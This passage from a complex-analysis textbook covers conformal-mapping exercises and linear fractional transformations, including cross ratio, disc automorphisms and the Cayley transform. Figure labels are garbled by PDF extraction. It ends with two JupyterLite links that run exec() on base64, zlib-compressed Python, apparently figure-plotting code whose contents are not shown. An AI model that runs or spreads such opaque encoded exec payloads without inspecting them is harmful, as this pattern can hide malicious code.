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(c) Simple connectivity is necessary: an annulus is not conformally equivalent to a disc, and
two annuli are equivalent only when their radius ratios agree — so, unlike simply connected
regions, annuli carry a genuine modulus.

Theorem 33.12 (Schwarz–Christoffel, stated). Let P be a polygon with interior angles α1π, . . . , αnπ
(0 < αk < 2,

∑
(αk − 1) = −2). There are real x1 < · · · < xn and complex constants A,B such

that
f(z) = A

∫ z

(ζ − x1)α1−1 · · · (ζ − xn)αn−1 dζ +B (33.6)

maps the upper half-plane conformally onto the interior of P , with xk 7→ the k-th vertex. The
powers use branches analytic on the upper half-plane.

Each factor (ζ − xk)αk−1 contributes a turn of (1 − αk)π to arg f ′ as ζ crosses xk from left to
right along the real axis (there arg(ζ −xk) drops from π to 0), which is exactly the exterior angle
π − αkπ of the polygon at the k-th vertex; that is the whole idea of (33.6).

33.5 Exercises
Exercise 33.1. Find a conformal map of the quarter-disc {|z| < 1, 0 < Arg z < π/2} onto the
upper half-plane.

Exercise 33.2. Find a conformal map of the strip 0 < Im z < π onto the unit disc. (Compose
ez with a map of the upper half-plane onto D from Chapter 34.)

Exercise 33.3. Solve the Dirichlet problem on the upper half-plane with boundary data g(x) = 0
for x < 0 and g(x) = 1 for x > 0, and then transport your answer to the first quadrant using
w = z2.

Exercise 33.4. (⋆) Find the steady temperature in the half-disc {|z| < 1, Im z > 0} with the
semicircular boundary held at 0 and the diameter at 50. (Use Example 33.4.)

Exercise 33.5. Show that w = z + 1/z maps {|z| > 1, Im z > 0} conformally onto the upper
half-plane, and find where the derivative vanishes.

Exercise 33.6. Explain why there is no conformal equivalence of the punctured disc {0 < |z| < 1}
onto the annulus {1 < |z| < 2}.

Exercise 33.7. Find a conformal map of the half-strip {0 < Re z < π, Im z > 0} onto the upper
half-plane, and one of the sector {0 < Arg z < π/6} onto the unit disc. In each case say which
catalogue entries you composed.

Exercise 33.8. Solve the Dirichlet problem on the strip 0 < Im z < π with boundary data 0 on
the lower edge and T on the upper. (The answer is linear in Im z; verify it is harmonic. Transport
it by Log z, which maps the upper half-plane onto the strip (its inverse is ez), to get (33.3); and
by 4 Log z, which maps the wedge {0 < Arg z < π/4} onto the strip (its inverse is ez/4), to get
the wedge solution of Example 33.8 when T = 100.)

Exercise 33.9. (⋆) Let f be a conformal equivalence of a region D onto D′, and let u be harmonic
and bounded on D′. Prove that u ◦ f is harmonic and bounded on D. Show that if u has a
harmonic conjugate v on D′, then v ◦ f is a harmonic conjugate of u ◦ f on D, so this property
always transfers. Show, by u = ln |z| on an annulus, that a harmonic function on a region that is
not simply connected need not have a harmonic conjugate at all. (See Remark 15.7.)



Chapter 34

Linear Fractional Transformations

The maps az+ b and 1/z were studied separately in Chapters 8 and 11. Their compositions form
a group, they are bijections of the Riemann sphere onto itself that are conformal wherever they
are finite and finite-valued (in fact they are exactly the conformal self-maps of the sphere, a fact
we do not prove), and they supply almost every explicit conformal map used in practice.

34.1 Definition and basic structure
Definition 34.1 (Linear fractional transformation). Let a, b, c, d ∈ C with

ad− bc ̸= 0. (34.1)

The linear fractional transformation (or Möbius transformation) with these coefficients is

T (z) = az + b

cz + d
. (34.2)

When c ̸= 0 we extend T to the Riemann sphere Ĉ of (11.8) by

T
(
−d

c

)
:= ∞, T (∞) := a

c
; (34.3)

when c = 0 we set T (∞) := ∞, and T is the linear map a
dz + b

d of Definition 8.3.

The condition (34.1) is exactly what excludes the constant maps: if ad − bc = 0 then (a, b)
and (c, d) are proportional and T is constant wherever defined.

Theorem 34.2 (The group structure). (i) Every T as in (34.2) is a bijection of Ĉ onto Ĉ,
with inverse

T−1(w) = dw − b

−cw + a
, (34.4)

again a linear fractional transformation.

(ii) The composition of two linear fractional transformations is one, and the coefficient matrices
multiply: if T ↔

(
a b
c d

)
and S ↔ ( p qr s ) then T ◦ S ↔

(
a b
c d

)
( p qr s ).

(iii) Consequently the linear fractional transformations form a group under composition, and T
determines its matrix up to a nonzero scalar multiple.

240
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(iv) Every T is a composition of translations, rotations, magnifications, and at most one inver-
sion z 7→ 1/z.

Proof. (i) Solve w = az+b
cz+d : cross-multiplying, w(cz + d) = az + b, so z(wc − a) = b − wd and

z = b−wd
wc−a = dw−b

−cw+a , whose determinant is da − (−b)(−c) = ad − bc ̸= 0. The extensions (34.3)
make this a bijection of Ĉ (the excluded point −d/c maps to ∞ and back).

(ii) Direct computation:

T (S(z)) =
apz+q
rz+s + b

cpz+q
rz+s + d

= (ap+ br)z + (aq + bs)
(cp+ dr)z + (cq + ds) ,

whose coefficient array is the matrix product; the determinant is the product of the determinants,
hence nonzero.

(iii) is (i) and (ii). For the scalar ambiguity, note that replacing (a, b, c, d) by (λa, λb, λc, λd)
with λ ̸= 0 leaves (34.2) unchanged; conversely if two matrices give the same T , applying T to
0, 1,∞ forces proportionality.

(iv) If c = 0, T is linear. If c ̸= 0, divide out:

T (z) = az + b

cz + d
= a

c
+ bc− ad

c
· 1
cz + d

, (34.5)

verified by putting the right side over a common denominator. So T is z 7→ cz+ d, then z 7→ 1/z,
then multiplication by bc−ad

c and translation by a
c .

−2 −1 0 1 2 3

−2

−1

0

1

2

w= (1¡ s) z+ s z¡ 1z+ 1; s= 1:00

every point moves in a straight line from z to z¡ 1z+ 1

A straight line

−2 −1 0 1 2 3

−2

−1

0

1

2

translate; invert; turn and scale; translate; s= 1:00

T(z) = 1¡ 2
z+ 1: translate by 1, invert, multiply by ¡2, translate by 1;

the imaginary axis (green) ends on the unit circle

B a path of maps
Figure 34.1 (animated). A linear fractional map, step by step: z−1

z+1 . A: every point moves in a
straight line from z to f(z). B: T (z) = 1 − 2

z+1 : translate by 1, invert, multiply by −2, translate by
1; the imaginary axis (green) ends on the unit circle. C: the tiles on the left deform along the path
of B.
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C tiles (Figure 34.1, continued)

Corollary 34.3 (Circles and lines again). Every linear fractional transformation maps the family
of circles and lines in C onto itself. Viewed on the Riemann sphere, it maps circles to circles
(Theorem 11.7).

Proof. Combine Theorem 34.2(iv) with Theorem 8.4(iii) for the linear pieces and Theorem 11.3
(with Corollary 11.8) for the inversion.

Proposition 34.4 (Conformality). T is conformal at every z ∈ C with cz+ d ̸= 0; explicitly, for
such z,

T ′(z) = ad− bc

(cz + d)2 ̸= 0. (34.6)

Proof. The quotient rule (13.5) gives T ′ = a(cz+d)−c(az+b)
(cz+d)2 = ad−bc

(cz+d)2 , and the numerator is nonzero
by (34.1).

34.2 Three points determine the map
Theorem 34.5 (Three-point theorem). Let z1, z2, z3 be distinct points of Ĉ and w1, w2, w3 distinct
points of Ĉ. Then there is exactly one linear fractional transformation T with T (zk) = wk for
k = 1, 2, 3. It is obtained by solving

(w − w1)(w2 − w3)
(w − w3)(w2 − w1) = (z − z1)(z2 − z3)

(z − z3)(z2 − z1) (34.7)

for w in terms of z. If one of the six points is ∞, delete the two factors containing it.

Proof. Existence. The left side of (34.7), call it S(w), is a linear fractional transformation of
w with S(w1) = 0, S(w2) = 1, S(w3) = ∞; its determinant is nonzero because w1, w2, w3
are distinct. Likewise the right side is a linear fractional transformation R(z) with R(z1) = 0,
R(z2) = 1, R(z3) = ∞. Then T := S−1 ◦R is a linear fractional transformation by Theorem 34.2
and satisfies T (zk) = wk.

Uniqueness. Suppose T1, T2 both work. Then U := T−1
2 ◦T1 fixes z1, z2, z3. A linear fractional

transformation with three fixed points is the identity: U(z) = z means cz2 + (d− a)z − b = 0, a
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polynomial of degree at most 2 with three distinct roots (interpreting z = ∞ as forcing c = 0),
hence identically zero, so c = b = 0 and a = d, i.e. U = id. Therefore T1 = T2.

Definition 34.6 (Cross ratio). The quantity

(z, z1, z2, z3) := (z − z1)(z2 − z3)
(z − z3)(z2 − z1) (34.8)

is the cross ratio; as a function of z it is the linear fractional transformation R with R(z1) = 0,
R(z2) = 1, R(z3) = ∞. The uniqueness part of Theorem 34.5 shows that the cross ratio is
invariant under every linear fractional transformation T : (Tz, Tz1, T z2, T z3) = (z, z1, z2, z3).
Indeed, ifR′(ζ) := (ζ, Tz1, T z2, T z3), thenR′◦T andR both send z1, z2, z3 to 0, 1,∞, soR′◦T = R.

Example 34.7 (Building a map to order). Find T with T (−1) = 0, T (0) = i, T (1) = ∞.
Take z1 = −1, z2 = 0, z3 = 1 and w1 = 0, w2 = i, w3 = ∞. Since w3 = ∞, delete the factors

containing it on the left of (34.7):

w − 0
i− 0 = (z + 1)(0 − 1)

(z − 1)(0 + 1) = −(z + 1)
z − 1 ,

so
T (z) = −i(z + 1)

z − 1 = i(z + 1)
1 − z

.

Check: T (−1) = 0; T (0) = i; T (1) = ∞. Note that T maps the real axis (a circle through ∞) to
the circle through 0, i,∞, i.e. the imaginary axis — consistent with Corollary 34.3.
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w= (1¡ s) z+ s iz+ 11¡ z; s= 1:00

every point moves in a straight line from z to iz+ 11¡ z

A straight line
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w=M s(z); s= 1:00

T(¡1) = 0; T(0) = i; T(1) =1:
the real axis (green) goes to the imaginary axis

B a path of maps
Figure 34.2 (animated). Three points: T (z) = i z+1

1−z
. A: every point moves in a straight line from z

to f(z). B: T (−1) = 0, T (0) = i, T (1) = ∞: the real axis (green) goes to the imaginary axis. C: the
tiles on the left deform along the path of B.
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CHAPTER 34. LINEAR FRACTIONAL TRANSFORMATIONS 244

−2.0 −1.5 −1.0 −0.5 0.0 0.5 1.0 1.5 2.0

0.0

0.5

1.0

1.5

2.0

z-plane

−4 −3 −2 −1 0 1 2 3 4
−4

−3

−2

−1

0

1

2

3

4
w=M s(z); s= 1:00

T(¡1) = 0; T(0) = i; T(1) =1: the real axis (green) goes to the imaginary axis

C tiles (Figure 34.2, continued)

34.3 The disc and the half-plane
Theorem 34.8 (Automorphisms of the disc). For a ∈ D and θ ∈ R define

φa,θ(z) := eiθ
z − a

1 − az
. (34.9)

Then:

(i) φa,θ is a conformal equivalence of D onto D, with φa,θ(a) = 0;

(ii) its inverse is φ−aeiθ,−θ, again of the same form;

(iii) every conformal equivalence of D onto D is of the form (34.9).

Proof. (i) The pole is at z = 1/a, of modulus 1/ |a| > 1, so φa,θ is analytic on a neighbourhood
of D. For |z| = 1 we have z = 1/z (Exercise 1.5), so

|1 − az| = |z|
∣∣∣1z − a

∣∣∣ = |z − a| = |z − a| = |z − a| ,

whence |φa,θ(z)| = 1: the unit circle maps into itself. By Corollary 34.3 its image is a circle or a
line; a line is not contained in the unit circle, and a circle contained in the unit circle equals it, so
the unit circle is mapped onto itself. Since φa,θ is injective on Ĉ (Theorem 34.2), no point of D is
mapped onto the unit circle. Now φa,θ(D) is connected (the continuous image of a connected set;
φa,θ is finite on D), contains φa,θ(a) = 0, and misses the unit circle; if it contained a point w with
|w| > 1, then |·| would take on the connected set φa,θ(D) the values 0 and |w|, hence (its image
being an interval) the value 1 — impossible. So φa,θ(D) ⊆ D. The same argument applied to the
inverse, which is of the same form by (ii), gives surjectivity. Conformality is Proposition 34.4.

(ii) Solve w = eiθ z−a
1−az for z: e−iθw(1 − az) = z − a, so z

(
1 + ae−iθw

)
= e−iθw + a and

z = e−iθ w + aeiθ

1 + ae−iθw
= φ−aeiθ,−θ(w),

since −aeiθ = −ae−iθ; and
∣∣∣−aeiθ∣∣∣ = |a| < 1.
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(iii) Let F : D → D be a conformal equivalence, put a := F−1(0), and set G := F ◦ φ−1
a,0.

Then G is a conformal equivalence of D onto D with G(0) = 0. By Schwarz’s lemma 24.14,
|G(z)| ≤ |z| on D; applying the lemma to G−1 likewise gives

∣∣G−1(w)
∣∣ ≤ |w|, i.e. |z| ≤ |G(z)|.

Hence |G(z)| = |z| throughout, and the equality case of Schwarz’s lemma forces G(z) = eiθz for
some real θ. Therefore F = G ◦ φa,0 = eiθφa,0 = φa,θ.
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C tiles (Figure 34.3, continued)
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Theorem 34.9 (Half-plane to disc). For Imα > 0 and θ ∈ R, the map

ψ(z) = eiθ
z − α

z − α
(34.10)

is a conformal equivalence of the upper half-plane H = {Im z > 0} onto D, with ψ(α) = 0; and
every such equivalence has this form. The special case α = i, θ = 0 gives the Cayley transform

ψ(z) = z − i

z + i
, with inverse ψ−1(w) = i

1 + w

1 − w
. (34.11)

Proof. For real x, the points α and α are mirror images across the real axis, so |x− α| = |x− α|
and hence |ψ(x)| = 1; also ψ(∞) = eiθ. So the image of R ∪ {∞} (a circle through ∞) is, by
Corollary 34.3, a circle contained in, hence equal to, the unit circle. Since ψ is a bijection of Ĉ
(Theorem 34.2), ψ maps H and the lower half-plane into the complement of the unit circle. Each
half-plane is connected and ψ is continuous and finite on H (its pole α lies in the lower half-plane),
so, as in the proof of Theorem 34.8(i), ψ(H) is a connected set containing ψ(α) = 0 and missing
the unit circle, hence ψ(H) ⊆ D. Likewise the lower half-plane minus α is connected and its image
contains points of arbitrarily large modulus (near ψ(α) = ∞), so it lies in {|w| > 1}. As ψ is onto
Ĉ, it follows that ψ(H) = D. Conformality is Proposition 34.4. For the converse, compose with
the Cayley transform and apply Theorem 34.8(iii). Formula (34.11) follows from (34.4).

i

0 1−1

upper half-plane

z−i
z+i 0

−1

−i

i

1

unit disc

Figure 34.4. The Cayley transform (34.11). The real axis — a circle through ∞ — goes to the unit
circle, and the upper half-plane goes to the disc, because i 7→ 0 lands inside. The labelled points track
the correspondence: 0 7→ −1, 1 7→ −i, −1 7→ i, ∞ 7→ 1.
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B a path of maps
Figure 34.5 (animated). The Cayley map z−i

z+i
. A: every point moves in a straight line from z to

f(z). B: the upper half-plane onto the unit disc; the real axis (green) onto the unit circle; i 7→ 0. C:
the tiles on the left deform along the path of B.
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C tiles (Figure 34.5, continued)

Example 34.10. Map the upper half-plane onto the unit disc so that 2i 7→ 0 and 0 7→ 1. By
(34.10) with α = 2i, ψ(z) = eiθ z−2i

z+2i . The condition ψ(0) = 1 gives eiθ−2i
2i = −eiθ = 1, so eiθ = −1

and
ψ(z) = 2i− z

2i+ z
.

Check: ψ(2i) = 0, ψ(0) = 1, and |ψ(1)| =
∣∣−1+2i

1+2i
∣∣ =

√
5√
5 = 1, as required for a boundary point.
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https://jupyterlite.github.io/demo/repl/index.html?kernel=python&toolbar=1&pyfig=c34_cayley_b&code=import%20numpy%2C%20matplotlib%2C%20zlib%2C%20base64%20%20%23%20run%20print%28src%29%20to%20see%20the%20code%0Asrc%20%3D%20zlib.decompress%28base64.b64decode%28%27eNqtWW1z00gS%2Fq5fMSdIZRRkYTshCw6mDlh2yS1hKZajoIzPNZbGtogsiRkpsQ3cb7%2BnZ0a24yQLHy5VsaRRT3dPvzzdM%2FISOWFlJpZ8kk5DNlFiLt1FhyzNK6kuRBay8bhY9F8XuQx6HsNfOi8LVbG0wCuh5fFRyOaiKrOiytJxVC7pjgkN1pWhn6hizk7fLKtZkUdJqklkw%2BTlu7NXIXODhhqzojgrtCStAjPkXnMi5r7vP07nU5Ymfb%2BcjHDrM10tM9n341rpQvXKwujusyqtzHCWxuesKlgpai39J95jHau0rJ54F0KxcsL67DLNk%2BIyMvdfJz02GIbsvMfaIVN13mOVquV3mARi%2Bywp4nou8yqayupFJun22fI04Y02wYmHS1TkVm6fTeo8rtIiZzxgXyEvAk8M%2F8PenbDvJ56W1amzN79CjvWnE8YdLfv2jeafsyd9uk6iTObTahYwJata5SdEDdFaxcwSDIh6eGIn9Rk313usE7C9PbaXnHhY1V4CjR%2FfdzaBedke47tREATWFRMpE7LBVY8EaxeO4JZ3sJajLhQ7Bw%2BmRD6VjqmLIhsZGODnwXpgXJMH0iJ6tqykPv2Tb14hGiItLiSuHGQhMUfYIQjyqW%2BDdJTm8UzqPt1vJuI9eNpIjcbHRzKPi0QSD%2FIg1lZLHgRRIs3wlkAsNarLRFTSrnO%2FiRtj%2BrLWM%2B7jreilczGV9yHnxOXDnvaDtUX3YU%2B8gwHvsBb%2BmMwTVkzYv%2BoSi1Sv0kqaLJTKvPbggXczyZ4LxPQSmVWyu59gqPjrqpV%2B%2F7q6l36%2FC0Imcog1cfIMfhXVjHiCWgeR97vMpYLeCRsv2VTmIyLWSE2bi7qUMT2dsLyAmXsM8gol5%2BzwKHoExgn7LZ3WStJzJ2RlxDoP24zHs8OjXvewG7LucTfw3ixBxeIiv0AGQA%2BkCdS2i2aAljSXmrxmGDaeDokoZ7HIMm2xJ4oiaIxFe57DhLyeQ1MASF42Qxt88bagBtnM%2FadTpNx1uh0cMuveehsXWSZNmukGit4U2fL5etjzCIhU%2FEZAc93EwVcfPGaVXFTRpMgrpK3fY348RwD6NBBNxDzNljSopUon63GdriRGO93vgVemIQPQniIq8zKiJ1ww0PnseR5hslBTvrLg2m8ZEpczsBLeGfShrOJEYemQ1F1WpkOyI1FaQGhegce8SDguyMNM8lXAWvZdi3Vkq0MuZQdWm4DwgcacMuUl6SJuUWd1cCCAnog%2Bcv5auUqcw8s%2FUNGuX4w19DEjhg%2FZQildkbmT9CJNgODpNEd8%2BgRHyFdCfjeyhSVuxZh%2BOZNKcsWeEH4Tu0XJBZZH68%2BKKd8lUTB9YJb9GVRbxgfohawdOENktzuF1g7OQmEB8xvM8VO%2B2mhnTXKjRk6XeTHmZyFbORU4uQe68hhAHMCuZ%2F83exrLraDKOGD3IcA9JWtNyuKSVNEba5wdHGgD%2FYJC4EKqKh1nknUXXcpAlS56jFyiyWTsDGoL1uDXWTFOa21gzLUNVLfPGkuduZBRCsABoUm1LGU%2FLuZlJh3iE8kZNAWZ%2FqIq4%2FM0F9kUAF%2FxM1fGMjEP2XvLzb2WqCtn9i0qLrkARIP2EClCN51hgGhBYjy6ZqL37J%2FEJ0mF8Z5d20HjT0xGHFkSJwpG4e%2BdItDByfnh3x2YSYlxgbaiZ9aZMX4KX7yGCV%2BzPM1KoHlue67XzgwZ1CedlpJ3g51o21UUWtoksdTgTG9fN56O64qXIXu7cfRYSXEO76HvupCMpzkwr2JTqkHMZBhLK5ZJFG1t8gE9QkxeViIhL79liJHPAHvNRKwKDSSuGk%2BX254ub%2FT0WFAn8l9QpRrFBmWUlwH7xpoMKslhby0tSbEc1Wjwm8goFR2Z8dxkAnJDD5sdDq0KA5Lwzcwd2sm5yLdtWDrLaDnl2mLkVUwoVTFVEgvjbYpjtF1YvUC7in4BFhEVtZcatkqRH5pNC%2BnCXhD5eAcg5mnO52LB4TSUf5OOY3MHkIra%2BO1Ea7CaZGlJoFHBdP0jjG%2F0IlZGuUzkkhXIT0R7UVdmEB7NmFikWE6WnkuTmlMYS0uL56VU1D1UKTm86nd6QIPWE%2BoCPgONGoWXMNcqorZoW3%2B%2Bigx7B2tLG3pxYXxQpnisTAgmtLIEZI5CY91bFG6FlES0wM3KFGmiDg54p9WtAiayAp2fFPEMAbdEd9LvsNQGokElTb3T6v631bf%2FdGlp9KJGGLE4VXEmr6OzhWV2gCTpwO5do45VkVLJLGqrxG67YrmtquN41RrXLEFAa03o6jDaE15WcEx9NcjGqqBiC2yhmFJFPZ0xQ0doMZcAXG0bwZpWOWiHnXXlAZnLM%2B0yjebdkGvna6jUpYglR9VEY4jdB80IdoHFbBpKXmMPFZIMs9Bga6XXCGidZC9J5dEg4jgR7AI7sOgBTE2%2F10x0EXh%2FPX%2F54lfQDxD%2FQwx12hCSpbrixIhf1%2FhBOzB1ddBxE45vnQDqtpvgeS83SsGR6JipAJvSNxiAsNX5jA0j3eFmSMWQarP3FrM6UO02ODe4CfADUAJc2VguC7TK1QxRaiHSe3V6dvruL9q5tboRdWn0s76FAf79DC%2F3TeiWyE02E9mk5TI7B4asg5qw9%2BRTfiXHGQc6yTzYIbXxf8Lupp8%2BUSWuivbdfe%2Fd6btXL0jY3cv%2B2X%2B%2B6u8I8fDTpy81QFL396LuBES%2Fvz399Y%2FT17%2BGjO6evv2ddN%2BPhar20Z20DkN2aMyK319CdhR4T9%2F%2FeWo8OPRefHj39inRD%2Fg%2BSNv3jtsHdXCv%2FRlT9ysx7hll94OhB7rnf4CQziQ8r74xNg%2FbnQDme%2F3CcPyJ6gp%2FcHNyoNmK13AgtghFrbC1mLBmWazfR7eP1fg2AxeQtYCwJa5LXPMF%2Fgn8mtWvd8Ex5d62ls3UfLHVcxl9IwFP5glHr%2BUyhi8prvmSUGfZJmQg%2FXyyyRi7Vz8IbpezVm15qxzoQuwXxH7h2DeiYydHyYTEyGzXGoAlobCzuTnATSRpRlqGhMIIbJlYtKDGm%2FRC913hvqL76ibTqd0lbabeuiS1A8u8MkusaImVW%2BJtJqx25W3UC2nvboKk3%2FBijzdbJ4NUiLvbLa2MGoqmqsbSVzWtgl2La9ljP%2Fl3h%2FkWU%2BAQYXCNGg4O5tSFUL3D0upNaK81NFkn6fTJdzBXYwsLXVEAmmQIjHXkwjwQo8ZTw02eUZmLLSHdEZV9h7DJaTeeLwlk57aim4IKU3wBJj82vbWZ%2BYWmGWAIHCr8nXo362bBZOh5f41evCHVwP3Ye6l3cfwlaUxNFeqeId30F3SoQ2%2F11bJNbfBLbV9QNwzydRlFGxRjn5XTXmuwxaAxyGhjEBrRu5FmoatzGAy9G%2F2LwmW5To1THOOpY2xN9QPGgdMWv4MrrTPq%2BJCwzpYcu%2BQPmPcBEz%2Fi%2BrGDWfalDcqbKZpyb3wchFvPMHKwqfbb7%2B0zvTc8Z2CDik8lnwY%2FULZ8sPxbEBRcjXi006hBKKHjYoFSWtQooRLt3RJ1NLf9Z0xxQbDMP1D%2BfehQ74wSyj%2FS40f7ePNy4gVkzkK63jPXpXte0rPn0flW35xZT8yRGR1a01lPnx%2BH7Dg6RjiJBZ0Bp9NIJMlILKTm1K48NE37A%2Fp9aO4ftodEG2lZjRZZOudWl%2BCEucElDVrFNoPCdOPcl7BBhg29SD7X2F6M6dwbBvENS7GYUXdIUUCZr%2Fo%2BxHVBnV32cWe5icXF3xIRoyqNz0emraTd8RhhQEt9FHjX4ttGxxeyIPJlFTYbMTChIzj%2BxQRFyL4Y52%2BLfLgl0jVIyP5mHh3M07%2Bljw1pB50QbaBJidE26gw9uaiU%2BCEDhEKm%2B37LJ5gy07l%2FTkd340zE537AKN6Z32r51%2BSYnBt6SYHa0Ge7QvzCXy%2BNGM51%2FzjwqssCtP6n3CcOaOE886HCRQkdLnKEP8XEIyQBVKIJRgWMHOGFD1Yz0fdjab5z0FE42hZyRQct1TUm7WtMKO4gd4fLxebhygSfTp4oNvxwA0sbke0rxB0jde3OwwfkTjoKBg4hH%2BGsB%2BuNkTsTtrFCXjL9%2FOCc7ZmthXlyUEg2pzAaBc7wK%2BxvjZND10ZvFV3a6m%2Bh73o8NilDR%2Fa8dPFXuq3HWsZ0R4ZxMOq%2BCaQbZTRY%2FLNiYC3bwKIBp5pIXexVvi%2FNJsfuyAaGdmgkIPjWdIi4jZiBlUNRZyUNrSgTV4bMBIRt4fdIV0J6n87fTQxOs2IsMs2DXnPQpAo6KTTbRtoX2LN%2ByEiwx4CZ3PD2Jww4%2Bdx9wLvxi2J%2F49LNZ6X%2BL%2B2%2Fb3HuEDtoaL8e2k8MZaExu9nLU%2F3SM6hKX0o4RVEnWH9IbM7vB36ZTMyRPe1tfTrOOep6m09QZuP4wPy4WNj62jQaTdJMjkaR0mWWAmzv%2B3RiPGh1hjA79EOB9aNySYjhU%2Bfsj6yKEYQCgf8HTKZvUw%3D%3D%27%29%29.decode%28%29%0Aexec%28src%29
https://jupyterlite.github.io/demo/repl/index.html?kernel=python&toolbar=1&pyfig=c34_cayley_c&code=import%20numpy%2C%20matplotlib%2C%20zlib%2C%20base64%20%20%23%20run%20print%28src%29%20to%20see%20the%20code%0Asrc%20%3D%20zlib.decompress%28base64.b64decode%28%27eNqtWVt32zYSfuevwDLxBnRpRpSdNLGjnG3TtPGunfqk3p4kilYHIiEJMUWyBGSLSrK%2Ffb8BSN3sbPNQPYggMBgM5vLNAPRSOWZlJmo%2BVpOQjSsxk81Dh0zlRlbXIgvZaFQseq%2BLXAbHHsNPzcqiMkwVGBJaPj4K2UyYMitMpkZRWVOLCQ3WxtKPq2LGTi9qMy3yKFWalmyZvLo8PwtZ02mpMStKskJLkiqwXc0wJ2Lu%2B%2F4zNZswlfb8cjxE02fa1Jns%2Bcm80kV1XBZWdp8ZZWx3ppIrZgpWirmW%2FnPvmU4qVZrn3rWoWDlmPXaj8rS4iWz70%2FiY9QchuzpmnZBV8%2FyYmWouv0AlWLbH0iKZz2Ruook0LzNJzR%2Fr05S30gQnHh5Rkbt1e2w8zxOjipzxgH3CehF4ovtvrnXCvpx4WprTRt98ixz7V2PGG1r2%2BTPNv2LPe%2FQcR5nMJ2YasEqaeZWfEDWW1lXCHEGfqAcnblKPcfv8jsUB29tje%2BmJh13tpZD42cNGJ1Av22N81wuCwJliLGVKOti2SLAy4RBmuYS2GuqiYlfgwSqRT2TDtPEi5xno4FfBqmM0JwuoIvqxNlKf%2FsrXQ%2FCGSItriScHWUjM4XZwgnziOycdqjyZSt2j9noixsHTeWo0enwk86RIJfEgC2Jvc8mDIEql7d5YEFuN5mUqjHT7fND6jVV9OddT7mNUHKuZmMiHWOekiYc97QcrjT6APjEGBd5jB%2FgxmaesGLN%2FzktssjpTRtoolJUd9mCBy6lkLwR8ukZklez%2BBygq%2BbQ8UF8%2BLb9TX%2B6DkIkcy1o%2FecG4URkUG3m%2FyFxWEDhlo5pNZD4kKo2YdEGoS5nQ2wnLC%2Bj3mGGhopIzdngUPQXHlP2sJvNK0nscsjJi8ZMO48n08Oi4e9gNWfdxN%2FAualCxpMiv4foQAPEBed1uGTBF5VKTuSzD1sQhEeUsEVmmHehEUQSJsVvPa8Agn88gKZAjL9uuNbB4GxiDMOb%2BDxPE2m26HQCy%2B94YTYoskza%2BdItBF0VWv1h1ex4hUJVcCEiuWwf45IPH1MiFicZFbhCv%2FjHzkxk8z6eOaCxmKqupU8tKjVf9Wi0leuPul8ArVciAsKdwx7yM6A0PdMQfPc8jMBbVhC8dqvYOLEkTLNASxizsUDhxonB0iOYuK9WA9EiUDgnaIfCYFSnHAwGYSb4M2IEbO2CxPIjJpGzfSRMQMFBfI0x5Q7KIr4iz3N8XgE0ztcZfCWfEFaz8JyK6%2FYuRhjy2x%2FIhXVSVNqTuVF2rFNCtJjn80yccQqAS5Dc9GyDS7BjTb6aykrxizwm4id2i5ALbo%2F1nxYTvklRQfWC3%2FRFUG8oH2oWsEzSKyL5uFNo7OIsKG5jdoY5vstVaOqeSOyVqZJkVI34esmUjAifzQFaeAIED6PX8L9On1dwSoowC9hALNG%2FpSpKyuCFR9Fob5%2Fv72mK%2BIBe4lpVRo0yy7qJLEVipxTEjk2hSGTuH2AIpGZICDM%2BLkZprQjvd1AuUsM9bTZ03LlNVAA4smpq6lL2kmJWZbKCeSM4hKcj0H5WxNle5yCZAdsPPm%2FyViVnIfnfcmmGJhHLuRpFqyQQg6ncGCBFqxIMA3oLAeHpLRb%2BzfxCfVAlrPbe3%2FdaemAw%2FciTNUlAK%2F70RBDI06%2Fzp7x7UVIlRgXri2O4zY%2FwUtngNFb5mucpKoHnuiq3XjRoyiE8y1ZJ3gx1v2xUUUrogcdTgTKOvW0snc8PLkL1ZG3pUSXEF66HgupaMqxyYZ9gExguYjTCmDMsksrW28YDiICErVyIlK79h8JGPAHvNRFIVGkhsWkuXm5Yu77T0SFAJ8l9QKY1kg%2FzJy4B9Zm0ElWSwN46WVnEcq2H%2FZ5FRKDZk1nLjMcgtPXR2OHAi9GmFz3buwE3ORb6pw7LRjJYTrh1GbmNCWRWTSmJjvEN%2BjHoLuxeoU1EoQCPCUF2poSvkbSh7UsjG7QWRj3YAYqZyPhMLDqMh79twHNkWQCrq4D%2BOVmA1zlRJoGGgut4R%2BtdyESsrXCZyyQrEJ7y9mBvbCYtmTCwUtpOpK2lDcwJlaenwvJQVVQ9GkcFNLz4GGhw8pyrgI9CoFbiGupYR1UOb8vNlZNk3sFY710sKa4NS4dVYF0xpZynIGgqNfW9QNDukIKINrndWkSTV%2Fj6PD7omYCIrUPJJkUzhcDWqk17MlHNEi0qaiqblw8%2FLz%2F%2Fp0tZoYA43YomqkkzeRmcHy2wfQRJD710rjhORQsluaiPFbpqi3hS14bitjVuaIKB1KmzyMMoTXhoYZr7tZKOqoGQLbCGfqor5ZMosHaHFTAJwtSsE57TLfieMV5kHZE2c6SbSaN4dsXa1gkpdikRyZE0Uhjh20IxgF1jsaaHkcxyeQlrDbjTY2OktAton6UtSerSIOEoFu8bRK3oEVdP%2FLRVdB95vL169%2FAn0ffj%2FAF1xB4tkShtOjPhtiR91AptX%2B3Ez4fFXJ4C600zwvFdroWBIVMyUgG3q6%2FdBeBB%2FxEmRWmgMKBlSbvbeYFYM0b4G5xY3AX4ASoArG8m6QKlspvBSB5He2en56eVvdGQ76EZUpdHfqgkF%2FPtHDD6wrlsiNtlUZOODJrJzYMjKqQl7T7ZDnHGAk8yDHUrn%2FifsvvrwgRKxKTr3H3iXp5dnL2mt%2Bze98%2F980l%2Fg4eGHD3%2FMgZG6txd1x5bo7OW%2FTl%2F%2FFDJq%2FfDmFxL9QSIq8yCkLUBqq1X8PwnZUeC9Oj07vSS2%2FRjK63YGnvfb8OUFTUOqfey90ruKf0WRRCgIR7WkMM9Lq2dPyju99GVIRy17G9Cz0B94l2e05MBDom9FZr0eCnlI6rvgWmDyArNrPGs8c6yKSe2%2BLM10EbIpYR1fECAsOoTJIOQ1vdb2dbY6AX9cn4Bnm4dfDKn1UL4xRD9KKlhhQZ5NXk9r1vRCoTStt2gvzyIBL8htpQ9ITlDz5VT39QUmTBeYIWUbhiOqu2xv04Fk8h1th4iC0GPf9FsxtpCIiTvcArfKzgItcTCA9SRM0gAjFeNO1wZNE9%2Blc1TrU0M6r4hJtdK5oVfzV%2Bq8Wum8IoFanZtv1Dm3uqmcPnfShC3W3fjukNOScdO%2B2Q7rxVa6vZtvYC3ytSVXk61lLn6wId%2F376Vj%2BWT8iE6z98aP5WF66A%2B8F7%2FaKCKiPleknYDtse7gtuJv63vg2TuhkCXUu0St4pA